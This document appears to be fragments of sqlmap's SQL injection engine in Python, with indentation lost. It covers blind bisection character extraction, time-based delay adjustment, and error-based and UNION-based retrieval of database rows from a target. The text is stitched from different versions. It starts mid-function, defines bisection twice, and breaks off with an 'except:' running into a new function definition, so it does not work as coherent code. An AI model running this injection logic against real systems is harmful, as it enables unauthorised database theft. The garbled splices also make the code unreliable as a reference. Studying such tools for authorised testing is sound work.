if timeBasedCompare and not validateChar(idx, retVal):
if not kb.originalTimeDelay:
kb.originalTimeDelay = conf.timeSec
kb.timeValidCharsRun = 0
if (conf.timeSec - kb.originalTimeDelay) < MAX_TIME_REVALIDATION_STEPS:
errMsg = "invalid character detected. retrying.."
logger.error(errMsg)
conf.timeSec += 1
warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '')
logger.warn(warnMsg)
if kb.adjustTimeDelay:
dbgMsg = "turning off time auto-adjustment mechanism"
logger.debug(dbgMsg)
kb.adjustTimeDelay = False
return getChar(idx, originalTbl, continuousOrder, expand, shiftTable)
else:
errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal)
logger.error(errMsg)
conf.timeSec = kb.originalTimeDelay
return decodeIntToUnicode(retVal)
else:
if timeBasedCompare:
kb.timeValidCharsRun += 1
if not kb.adjustTimeDelay and kb.timeValidCharsRun > VALID_TIME_CHARS_RUN_THRESHOLD:
dbgMsg = "turning back on time auto-adjustment mechanism"
logger.debug(dbgMsg)
kb.adjustTimeDelay = True
return decodeIntToUnicode(retVal)
else:
return None
else:
if minValue == maxChar or maxValue == minChar:
return None
# If we are working with non-continuous elements, set
# both minValue and character afterwards are possible
# candidates
for retVal in (originalTbl[originalTbl.index(minValue)], originalTbl[originalTbl.index(minValue) + 1]):
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
if result:
return decodeIntToUnicode(retVal)
return None
def etaProgressUpdate(charTime, index):
if len(progressTime) <= ( (length * 3) / 100 ):
eta = 0
else:
midTime = sum(progressTime) / len(progressTime)
midTimeWithLatest = (midTime + charTime) / 2
eta = midTimeWithLatest * (length - index) / conf.threads
progressTime.append(charTime)
progress.update(index)
progress.draw(eta)
# Go multi-threading (--threads > 1)
if conf.threads > 1 and isinstance(length, int) and length > 1:
value = []
threadData = getCurrentThreadData()
threadData.shared.value = [ None ] * length
threadData.shared.index = [ firstChar ] # As list for python nested function scoping
threadData.shared.start = firstChar
try:
def blindThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
kb.locks.index.acquire()
if threadData.shared.index[0] >= length:
kb.locks.index.release()
return
threadData.shared.index[0] += 1
curidx = threadData.shared.index[0]
kb.locks.index.release()
if kb.threadContinue:
charStart = time.time()
val = getChar(curidx)
if val is None:
val = INFERENCE_UNKNOWN_CHAR
else:
break
with kb.locks.value:
threadData.shared.value[curidx - 1] = val
currentValue = list(threadData.shared.value)
if kb.threadContinue:
if showEta:
etaProgressUpdate(time.time() - charStart, threadData.shared.index[0])
elif conf.verbose >= 1:
startCharIndex = 0
endCharIndex = 0
for i in xrange(length):
if currentValue[i] is not None:
endCharIndex = max(endCharIndex, i)
output = ''
if endCharIndex > conf.progressWidth:
startCharIndex = endCharIndex - conf.progressWidth
count = threadData.shared.start
for i in xrange(startCharIndex, endCharIndex + 1):
output += '_' if currentValue[i] is None else currentValue[i]
for i in xrange(length):
count += 1 if currentValue[i] is not None else 0
if startCharIndex > 0:
output = '..' + output[2:]
if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length-1):
output = output[:-2] + '..'
if conf.verbose in (1, 2) and not showEta:
output += '_' * (min(length, conf.progressWidth) - len(output))
status = ' %d/%d (%d%s)' % (count, length, round(100.0*count/length), '%')
output += status if count != length else " "*len(status)
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output)))
runThreads(numThreads, blindThread, startThreadMsg=False)
except KeyboardInterrupt:
abortedFlag = True
finally:
value = map(lambda _: partialValue[_] if _ < len(partialValue) else threadData.shared.value[_], xrange(length))
infoMsg = None
# If we have got one single character not correctly fetched it
# can mean that the connection to the target url was lost
if None in value:
partialValue = "".join(value[:value.index(None)])
if partialValue:
infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(partialValue))
else:
finalValue = "".join(value)
infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue))
if conf.verbose in (1, 2) and not showEta and infoMsg:
dataToStdout(infoMsg)
# No multi-threading (--threads = 1)
else:
index = firstChar
while True:
index += 1
charStart = time.time()
# Common prediction feature (a.k.a. "good samaritan")
# NOTE: to be used only when multi-threading is not set for
# the moment
if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:
val = None
commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)
# If there is one single output in common-outputs, check
# it via equal against the query output
if commonValue is not None:
# One-shot query containing equals commonValue
testValue = unescaper.unescape("'%s'" % commonValue) if "'" not in commonValue else unescaper.unescape("%s" % commonValue, quote=False)
query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (expressionUnescaped, testValue)))
query = agent.suffixQuery(query)
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
# Did we have luck?
if result:
if showEta:
etaProgressUpdate(time.time() - charStart, len(commonValue))
elif conf.verbose in (1, 2):
dataToStdout(filterControlChars(commonValue[index-1:]))
finalValue = commonValue
break
# If there is a common pattern starting with partialValue,
# check it via equal against the substring-query output
if commonPattern is not None:
# Substring-query containing equals commonPattern
subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
testValue = unescaper.unescape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.unescape("%s" % commonPattern, quote=False)
query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (subquery, testValue)))
query = agent.suffixQuery(query)
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
# Did we have luck?
if result:
val = commonPattern[index-1:]
index += len(val)-1
# Otherwise if there is no commonValue (single match from
# txt/common-outputs.txt) and no commonPattern
# (common pattern) use the returned common charset only
# to retrieve the query output
if not val and commonCharset:
val = getChar(index, commonCharset, False)
# If we had no luck with commonValue and common charset,
# use the returned other charset
if not val:
val = getChar(index, otherCharset, otherCharset == asciiTbl)
else:
val = getChar(index, asciiTbl)
if val is None or ( lastChar > 0 and index > lastChar ):
finalValue = partialValue
break
if kb.data.processChar:
val = kb.data.processChar(val)
partialValue += val
if showEta:
etaProgressUpdate(time.time() - charStart, index)
elif conf.verbose in (1, 2):
dataToStdout(filterControlChars(val))
if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace():
finalValue = partialValue
break
except KeyboardInterrupt:
abortedFlag = True
finally:
setFormatterPrependFlag(False)
if finalValue is not None:
finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue
hashDBWrite(expression, finalValue)
elif partialValue:
hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER, partialValue))
if conf.verbose in (1, 2) or showEta:
dataToStdout("\n")
if ( conf.verbose in ( 1, 2 ) and showEta ) or conf.verbose >= 3:
infoMsg = "retrieved: %s" % filterControlChars(finalValue)
logger.info(infoMsg)
if kb.threadException:
raise sqlmapThreadException, "something unexpected happened inside the threads"
if abortedFlag:
raise KeyboardInterrupt
_ = finalValue or partialValue
return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _
def errorUse(expression, dump=False):
"""
Retrieve the output of a SQL query taking advantage of the error-based
SQL injection vulnerability on the affected parameter.
"""
initTechnique(kb.technique)
abortedFlag = False
count = None
emptyFields = []
start = time.time()
startLimit = 0
stopLimit = None
value = None
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)
# Set kb.partRun in case the engine is called from the API
kb.partRun = getPartRun(alias=False) if hasattr(conf, "api") else None
# We have to check if the SQL query might return multiple entries
# and in such case forge the SQL limiting the query output one
# entry at a time
# NOTE: we assume that only queries that get data from a table can
# return multiple entries
if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in \
expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) \
or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) \
and not re.search(SQL_SCALAR_REGEX, expression, re.I):
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
if limitCond:
# Count the number of SQL query entries output
countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)
if " ORDER BY " in expression.upper():
_ = countedExpression.upper().rindex(" ORDER BY ")
countedExpression = countedExpression[:_]
_, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(countedExpression)
count = unArrayizeValue(_oneShotErrorUse(countedExpression, countedExpressionFields))
if isNumPosStrValue(count):
if isinstance(stopLimit, int) and stopLimit > 0:
stopLimit = min(int(count), int(stopLimit))
else:
stopLimit = int(count)
infoMsg = "the SQL query used returns "
infoMsg += "%d entries" % stopLimit
logger.info(infoMsg)
elif count and not count.isdigit():
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif (not count or int(count) == 0):
if not count:
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
else:
value = [] # for empty tables
return value
if " ORDER BY " in expression and (stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD:
message = "due to huge table size do you want to remove "
message += "ORDER BY clause gaining speed over consistency? [y/N] "
_ = readInput(message, default="N")
if _ and _[0] in ("y", "Y"):
expression = expression[:expression.index(" ORDER BY ")]
numThreads = min(conf.threads, (stopLimit - startLimit))
threadData = getCurrentThreadData()
threadData.shared.limits = iter(xrange(startLimit, stopLimit))
threadData.shared.value = BigArray()
threadData.shared.buffered = []
threadData.shared.counter = 0
threadData.shared.lastFlushed = startLimit - 1
threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1
if threadData.shared.showEta:
threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit))
if kb.dumpTable and (len(expressionFieldsList) < (stopLimit - startLimit) > CHECK_ZERO_COLUMNS_THRESHOLD):
for field in expressionFieldsList:
if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" % (field, kb.dumpTable)) == '0':
emptyFields.append(field)
debugMsg = "column '%s' of table '%s' will not be " % (field, kb.dumpTable)
debugMsg += "dumped as it appears to be empty"
logger.debug(debugMsg)
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
kb.suppressResumeInfo = True
debugMsg = "suppressing possible resume console info because of "
debugMsg += "large number of rows. It might take too long"
logger.debug(debugMsg)
try:
def errorThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limit:
try:
valueStart = time.time()
threadData.shared.counter += 1
num = threadData.shared.limits.next()
except StopIteration:
break
output = _errorFields(expression, expressionFields, expressionFieldsList, num, emptyFields, threadData.shared.showEta)
if not kb.threadContinue:
break
if output and isListLike(output) and len(output) == 1:
output = output[0]
with kb.locks.value:
index = None
if threadData.shared.showEta:
threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
for index in xrange(len(threadData.shared.buffered)):
if threadData.shared.buffered[index][0] >= num:
break
threadData.shared.buffered.insert(index or 0, (num, output))
while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]:
threadData.shared.lastFlushed += 1
threadData.shared.value.append(threadData.shared.buffered[0][1])
del threadData.shared.buffered[0]
runThreads(numThreads, errorThread)
except KeyboardInterrupt:
abortedFlag = True
warnMsg = "user aborted during enumeration. sqlmap "
warnMsg += "will display partial output"
logger.warn(warnMsg)
finally:
threadData.shared.value.extend(_[1] for _ in sorted(threadData.shared.buffered))
value = threadData.shared.value
kb.suppressResumeInfo = False
if not value and not abortedFlag:
value = _errorFields(expression, expressionFields, expressionFieldsList)
if value and isListLike(value) and len(value) == 1 and isinstance(value[0], basestring):
value = value[0]
duration = calculateDeltaSeconds(start)
if not kb.bruteMode:
debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[kb.technique], duration)
logger.debug(debugMsg)
return value
def unionUse(expression, unpack=True, dump=False):
"""
This function tests for an UNION SQL injection on the target
URL then call its subsidiary function to effectively perform an
UNION SQL injection on the affected URL
"""
initTechnique(PAYLOAD.TECHNIQUE.UNION)
abortedFlag = False
count = None
origExpr = expression
startLimit = 0
stopLimit = None
value = None
width = getConsoleWidth()
start = time.time()
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)
# Set kb.partRun in case the engine is called from the API
kb.partRun = getPartRun(alias=False) if conf.api else None
if Backend.isDbms(DBMS.MSSQL) and kb.dumpColumns:
kb.rowXmlMode = True
_ = "(%s FOR XML RAW, BINARY BASE64)" % expression
output = _oneShotUnionUse(_, False)
value = parseUnionPage(output)
kb.rowXmlMode = False
if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
# Removed ORDER BY clause because UNION does not play well with it
expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression)
debugMsg = "stripping ORDER BY clause from statement because "
debugMsg += "it does not play well with UNION query SQL injection"
singleTimeDebugMessage(debugMsg)
# We have to check if the SQL query might return multiple entries
# if the technique is partial UNION query and in such case forge the
# SQL limiting the query output one entry at a time
# NOTE: we assume that only queries that get data from a table can
# return multiple entries
if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
if limitCond:
# Count the number of SQL query entries output
countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)
if " ORDER BY " in countedExpression.upper():
_ = countedExpression.upper().rindex(" ORDER BY ")
countedExpression = countedExpression[:_]
output = _oneShotUnionUse(countedExpression, unpack)
count = unArrayizeValue(parseUnionPage(output))
if isNumPosStrValue(count):
if isinstance(stopLimit, int) and stopLimit > 0:
stopLimit = min(int(count), int(stopLimit))
else:
stopLimit = int(count)
infoMsg = "used SQL query returns "
infoMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry")
logger.info(infoMsg)
elif count and (not isinstance(count, six.string_types) or not count.isdigit()):
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif (not count or int(count) == 0):
if not count:
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
else:
value = [] # for empty tables
return value
if isNumPosStrValue(count) and int(count) > 1:
threadData = getCurrentThreadData()
try:
threadData.shared.limits = iter(xrange(startLimit, stopLimit))
except OverflowError:
errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit)
errMsg += "with switch '--fresh-queries'"
raise SqlmapDataException(errMsg)
numThreads = min(conf.threads, (stopLimit - startLimit))
threadData.shared.value = BigArray()
threadData.shared.buffered = []
threadData.shared.counter = 0
threadData.shared.lastFlushed = startLimit - 1
threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1
if threadData.shared.showEta:
threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit))
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
kb.suppressResumeInfo = True
debugMsg = "suppressing possible resume console info because of "
debugMsg += "large number of rows. It might take too long"
logger.debug(debugMsg)
try:
def unionThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limit:
try:
threadData.shared.counter += 1
num = next(threadData.shared.limits)
except StopIteration:
break
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
field = expressionFieldsList[0]
elif Backend.isDbms(DBMS.ORACLE):
field = expressionFieldsList
else:
field = None
limitedExpr = agent.limitQuery(num, expression, field)
output = _oneShotUnionUse(limitedExpr, unpack, True)
if not kb.threadContinue:
break
if output:
with kb.locks.value:
if all(_ in output for _ in (kb.chars.start, kb.chars.stop)):
items = parseUnionPage(output)
if threadData.shared.showEta:
threadData.shared.progress.progress(threadData.shared.counter)
if isListLike(items):
# in case that we requested N columns and we get M!=N then we have to filter a bit
if len(items) > 1 and len(expressionFieldsList) > 1:
items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)]
items = [_ for _ in flattenValue(items)]
if len(items) > len(expressionFieldsList):
filtered = OrderedDict()
for item in items:
key = re.sub(r"[^A-Za-z0-9]", "", item).lower()
if key not in filtered or re.search(r"[^A-Za-z0-9]", item):
filtered[key] = item
items = filtered.values()
items = [items]
index = None
for index in xrange(1 + len(threadData.shared.buffered)):
if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
break
threadData.shared.buffered.insert(index or 0, (num, items))
else:
index = None
if threadData.shared.showEta:
threadData.shared.progress.progress(threadData.shared.counter)
for index in xrange(1 + len(threadData.shared.buffered)):
if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
break
threadData.shared.buffered.insert(index or 0, (num, None))
items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)
while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH):
threadData.shared.lastFlushed, _ = threadData.shared.buffered[0]
if not isNoneValue(_):
threadData.shared.value.extend(arrayizeValue(_))
del threadData.shared.buffered[0]
if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta:
_ = ','.join("'%s'" % _ for _ in (flattenValue(arrayizeValue(items)) if not isinstance(items, six.string_types) else [items]))
status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_))
if len(status) > width:
status = "%s..." % status[:width - 3]
dataToStdout("%s\n" % status)
runThreads(numThreads, unionThread)
if conf.verbose == 1:
clearConsoleLine(True)
except KeyboardInterrupt:
abortedFlag = True
warnMsg = "user aborted during enumeration. sqlmap "
warnMsg += "will display partial output"
logger.warn(warnMsg)
finally:
for _ in sorted(threadData.shared.buffered):
if not isNoneValue(_[1]):
threadData.shared.value.extend(arrayizeValue(_[1]))
value = threadData.shared.value
kb.suppressResumeInfo = False
if not value and not abortedFlag:
output = _oneShotUnionUse(expression, unpack)
value = parseUnionPage(output)
duration = calculateDeltaSeconds(start)
if not kb.bruteMode:
debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], duration)
logger.debug(debugMsg)
return value
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None):
"""
Bisection algorithm that can be used to perform blind SQL injection
on an affected host
"""
partialValue = ""
finalValue = ""
asciiTbl = getCharset(charsetType)
# Set kb.partRun in case "common prediction" feature (a.k.a. "good
# samaritan") is used
kb.partRun = getPartRun() if conf.predictOutput else None
if "LENGTH(" in expression or "LEN(" in expression:
firstChar = 0
elif conf.firstChar is not None and ( isinstance(conf.firstChar, int) or ( isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit() ) ):
firstChar = int(conf.firstChar) - 1
elif firstChar is None:
firstChar = 0
elif ( isinstance(firstChar, basestring) and firstChar.isdigit() ) or isinstance(firstChar, int):
firstChar = int(firstChar) - 1
if "LENGTH(" in expression or "LEN(" in expression:
lastChar = 0
elif conf.lastChar is not None and ( isinstance(conf.lastChar, int) or ( isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit() ) ):
lastChar = int(conf.lastChar)
elif lastChar in ( None, "0" ):
lastChar = 0
elif ( isinstance(lastChar, basestring) and lastChar.isdigit() ) or isinstance(lastChar, int):
lastChar = int(lastChar)
if kb.dbmsDetected:
_, _, _, _, _, _, fieldToCastStr = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionUnescaped = unescaper.unescape(expressionReplaced)
else:
expressionUnescaped = unescaper.unescape(expression)
debugMsg = "query: %s" % expressionUnescaped
logger.debug(debugMsg)
if length and not isinstance(length, int) and length.isdigit():
length = int(length)
if length == 0:
return 0, ""
if lastChar > 0 and length > ( lastChar - firstChar ):
length = ( lastChar - firstChar )
showEta = conf.eta and isinstance(length, int)
numThreads = min(conf.threads, length)
threads = []
if showEta:
progress = ProgressBar(maxValue=length)
progressTime = []
if numThreads > 1:
debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else ""))
logger.debug(debugMsg)
if conf.verbose in (1, 2) and not showEta:
if isinstance(length, int) and conf.threads > 1:
dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth)))
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
else:
dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X"))
queriesCount = [0] # As list to deal with nested scoping rules
hintlock = threading.Lock()
def tryHint(idx):
hintlock.acquire()
hintValue = kb.hintValue
hintlock.release()
if hintValue is not None and len(hintValue) >= idx:
if kb.dbms in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB):
posValue = hintValue[idx-1]
else:
posValue = ord(hintValue[idx-1])
forgedPayload = safeStringFormat(payload.replace('%3E', '%3D'), (expressionUnescaped, idx, posValue))
queriesCount[0] += 1
result = Request.queryPage(forgedPayload)
if result:
return hintValue[idx-1]
hintlock.acquire()
kb.hintValue = None
hintlock.release()
return None
def getChar(idx, charTbl=asciiTbl, continuousOrder=True, expand=charsetType is None):
"""
continuousOrder means that distance between each two neighbour's
numerical values is exactly 1
"""
result = tryHint(idx)
if result:
return result
if not continuousOrder:
originalTbl = list(charTbl)
else:
# Used for gradual expanding into unicode charspace
shiftTable = [5, 4]
if len(charTbl) == 1:
forgedPayload = safeStringFormat(payload.replace('%3E', '%3D'), (expressionUnescaped, idx, charTbl[0]))
queriesCount[0] += 1
result = Request.queryPage(forgedPayload)
if result:
return chr(charTbl[0]) if charTbl[0] < 128 else unichr(charTbl[0])
else:
return None
maxChar = maxValue = charTbl[-1]
minChar = minValue = charTbl[0]
while len(charTbl) != 1:
position = (len(charTbl) >> 1)
posValue = charTbl[position]
if kb.dbms in (DBMS.SQLITE, DBMS.MAXDB):
pushValue(posValue)
posValue = chr(posValue) if posValue < 128 else unichr(posValue)
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
queriesCount[0] += 1
result = Request.queryPage(forgedPayload)
if kb.dbms in (DBMS.SQLITE, DBMS.MAXDB):
posValue = popValue()
if result:
minValue = posValue
if type(charTbl) != xrange:
charTbl = charTbl[position:]
else:
# xrange() - extended virtual charset used for memory/space optimization
charTbl = xrange(charTbl[position], charTbl[-1] + 1)
else:
maxValue = posValue
if type(charTbl) != xrange:
charTbl = charTbl[:position]
else:
charTbl = xrange(charTbl[0], charTbl[position])
if len(charTbl) == 1:
if continuousOrder:
if maxValue == 1:
return None
# Going beyond the original charset
elif minValue == maxChar:
# If the original charTbl was [0,..,127] new one
# will be [128,..,128*16-1] or from 128 to 2047
# and instead of making a HUGE list with all the
# elements we use a xrange, which is a virtual
# list
if expand and shiftTable:
charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
maxChar = maxValue = charTbl[-1]
minChar = minValue = charTbl[0]
else:
return None
else:
retVal = minValue + 1
return chr(retVal) if retVal < 128 else unichr(retVal)
else:
if minValue == maxChar or maxValue == minChar:
return None
# If we are working with non-continuous elements, set
# both minValue and character afterwards are possible
# candidates
for retVal in (originalTbl[originalTbl.index(minValue)], originalTbl[originalTbl.index(minValue) + 1]):
forgedPayload = safeStringFormat(payload.replace('%3E', '%3D'), (expressionUnescaped, idx, retVal))
queriesCount[0] += 1
result = Request.queryPage(forgedPayload)
if result:
return chr(retVal) if retVal < 128 else unichr(retVal)
return None
def etaProgressUpdate(charTime, index):
if len(progressTime) <= ( (length * 3) / 100 ):
eta = 0
else:
midTime = sum(progressTime) / len(progressTime)
midTimeWithLatest = (midTime + charTime) / 2
eta = midTimeWithLatest * (length - index) / conf.threads
progressTime.append(charTime)
progress.update(index)
progress.draw(eta)
# Go multi-threading (--threads > 1)
if conf.threads > 1 and isinstance(length, int) and length > 1:
value = [ None ] * length
index = [ firstChar ] # As list for python nested function scoping
idxlock = threading.Lock()
iolock = threading.Lock()
valuelock = threading.Lock()
kb.locks.seqLock = threading.Lock()
conf.threadContinue = True
def downloadThread():
try:
while conf.threadContinue:
idxlock.acquire()
if index[0] >= length:
idxlock.release()
return
index[0] += 1
curidx = index[0]
idxlock.release()
if conf.threadContinue:
charStart = time.time()
val = getChar(curidx)
if val is None:
if not kb.assumeEmpty:
iolock.acquire()
warnMsg = "failed to get character at index %d (expected %d total)." % (curidx, length)
logger.warn(warnMsg)
message = "assume empty character? [Y/n/a]"
choice = readInput(message, default="Y")
iolock.release()
if choice in ("a", "A"):
kb.assumeEmpty = True
elif not choice or choice in ("y", "Y"):
pass # do nothing
else:
raise sqlmapValueException
val = ''
else:
break
valuelock.acquire()
value[curidx-1] = val
currentValue = list(value)
valuelock.release()
if conf.threadContinue:
if showEta:
etaProgressUpdate(time.time() - charStart, index[0])
elif conf.verbose >= 1:
startCharIndex = 0
endCharIndex = 0
for i in xrange(length):
if currentValue[i] is not None:
endCharIndex = max(endCharIndex, i)
output = ''
if endCharIndex > conf.progressWidth:
startCharIndex = endCharIndex - conf.progressWidth
count = 0
for i in xrange(startCharIndex, endCharIndex + 1):
output += '_' if currentValue[i] is None else currentValue[i]
for i in xrange(length):
count += 1 if currentValue[i] is not None else 0
if startCharIndex > 0:
output = '..' + output[2:]
if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length-1):
output = output[:-2] + '..'
output += '_' * (min(length, conf.progressWidth) - len(output))
status = ' %d/%d (%d%s)' % (count, length, round(100.0*count/length), '%')
output += status if count != length else " "*len(status)
iolock.acquire()
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), replaceNewlineTabs(output, stdout=True)))
iolock.release()
if not conf.threadContinue:
if int(threading.currentThread().getName()) == numThreads - 1:
partialValue = unicode()
for v in value:
if v is None:
break
elif isinstance(v, basestring):
partialValue += v
if len(partialValue) > 0:
dataToSessionFile(replaceNewlineTabs(partialValue))
except (sqlmapConnectionException, sqlmapValueException), errMsg:
print
conf.threadException = True
logger.error("thread %d: %s" % (numThread + 1, errMsg))
except KeyboardInterrupt:
conf.threadException = True
print
logger.debug("waiting for threads to finish")
try:
while (threading.activeCount() > 1):
pass
except KeyboardInterrupt:
raise sqlmapThreadException, "user aborted"
except:
def bisection(payload,
expression,
length=None,
charsetType=None,
firstChar=None,
lastChar=None,
dump=False):
"""
Bisection algorithm that can be used to perform blind SQL injection
on an affected host
"""
partialValue = ""
finalValue = ""
asciiTbl = getCharset(charsetType)
timeBasedCompare = (kb.technique
in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
# Set kb.partRun in case "common prediction" feature (a.k.a. "good
# samaritan") is used
kb.partRun = getPartRun() if conf.predictOutput else None
if "LENGTH(" in expression or "LEN(" in expression:
firstChar = 0
elif dump and conf.firstChar is not None and (
isinstance(conf.firstChar, int) or
(isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())):
firstChar = int(conf.firstChar) - 1
elif firstChar is None:
firstChar = 0
elif (isinstance(firstChar, basestring)
and firstChar.isdigit()) or isinstance(firstChar, int):
firstChar = int(firstChar) - 1
if "LENGTH(" in expression or "LEN(" in expression:
lastChar = 0
elif dump and conf.lastChar is not None and (
isinstance(conf.lastChar, int) or
(isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())):
lastChar = int(conf.lastChar)
elif lastChar in (None, "0"):
lastChar = 0
elif (isinstance(lastChar, basestring)
and lastChar.isdigit()) or isinstance(lastChar, int):
lastChar = int(lastChar)
if Backend.getDbms():
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
expressionReplaced = expression.replace(fieldToCastStr,
nulledCastedField, 1)
expressionUnescaped = unescaper.unescape(expressionReplaced)
else:
expressionUnescaped = unescaper.unescape(expression)
if length and not isinstance(length, int) and length.isdigit():
length = int(length)
if length == 0:
return 0, ""
if lastChar > 0 and length > (lastChar - firstChar):
length = (lastChar - firstChar)
showEta = conf.eta and isinstance(length, int)
numThreads = min(conf.threads, length)
threads = []
if showEta:
progress = ProgressBar(maxValue=length)
progressTime = []
if numThreads > 1:
if not timeBasedCompare:
debugMsg = "starting %d thread%s" % (numThreads,
("s"
if numThreads > 1 else ""))
logger.debug(debugMsg)
else:
debugMsg = "multi-threading is not considered safe in time-based data retrieval"
logger.debug(debugMsg)
numThreads = 1
if conf.verbose in (1, 2) and not showEta:
if isinstance(length, int) and conf.threads > 1:
dataToStdout(
"[%s] [INFO] retrieved: %s" %
(time.strftime("%X"), "_" * min(length, conf.progressWidth)))
